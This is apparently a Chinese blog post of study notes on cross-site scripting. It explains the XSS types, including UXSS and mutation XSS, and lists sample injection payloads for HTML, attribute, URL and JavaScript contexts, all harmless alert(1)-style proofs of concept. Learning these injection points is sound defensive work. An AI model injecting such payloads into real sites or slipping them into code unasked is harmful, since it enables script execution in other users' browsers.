执行XSS代码

概述

前面简单的总结了一下xss的常见的攻击,搭建了xss平台。也算一个了解了,但对于xss执行,并没有总结一下有哪些方式,恰逢假日,又看到一篇文章,遂,总结如下。

概念

  1. 反射型xss
  2. 存储型xss
  3. DOM型xss
  4. UXSS
  5. MXSS

UXSS:

一种针对浏览器的xss,比起普通的xss,其危害在于,它危害的是浏览器本身,譬如根据浏览器本身功能的缺陷,或者根据浏览器拓展的功能缺陷,生成并执行代码

Unlike the common XSS attacks, UXSS is a type of attack that exploits client-side vulnerabilities in the browser or browser extensions in order to generate an XSS condition, and execute malicious code.

MXSS

指的是一些本来看起来没有危害的html/js代码,经过浏览器渲染,形成了有危害的xss代码,其英文全称为:Mutation-based Cross-Site-Scripting 突变性xss
mxss

html xss

顾名思义,就是在html里面构造的xss。 一般就是闭合尖括号,然后植入脚本

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE HTML>
<html>
<head>
<title></title>
</head>
<body>
<!-- {{ user input }} -->
<div></div><svg onload=alert(1)><div></div>
<div></div><iframe onload=alert(1)><div></div>
<div></div><script src='xx.js'></script><div></div>
</body>
</html>

属性 xss

在html标签里面的属性,存在用户输入,从而造成的xss,可分为三种,双引号,单引号,无引号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE HTML>
<html>
<head>
<title></title>
</head>
<body>
<!-- {{ user input }} -->
<input value="" autofocus onfocus="alert(1)">
<input value='' onmouseover="alert(1)"
<input value='' autofocus onblur="alert(1)">
</body>
</html>

onfocus 将焦点放在input里面
onmouseover 鼠标移入事件
onblur 鼠标移出事件

URL xss

这种xss 一般存在与a 标签里面

1
2
3
4
5
6
7
8
<script src="{{userinput}}"></script>
<a href="{{userinput}}">Click</a>
<iframe src="{{userinput}}" />
<base href="{{userinput}}">
<form action={{userinput}}>
<frameset><frame src="{{userinput}}"></frameset>

javascript:alert(/xss/)

Javascript xss

根据不同的js代码,进行构造,一般闭合大括号,引号等等。

总结

XSS也算很老的漏洞的了,但总是有人可以把它玩出花来。

reference

https://www.acunetix.com/blog/articles/universal-cross-site-scripting-uxss/

http://imweb.io/topic/55e3c132771670e207a16bcf

https://www.anquanke.com/post/id/148357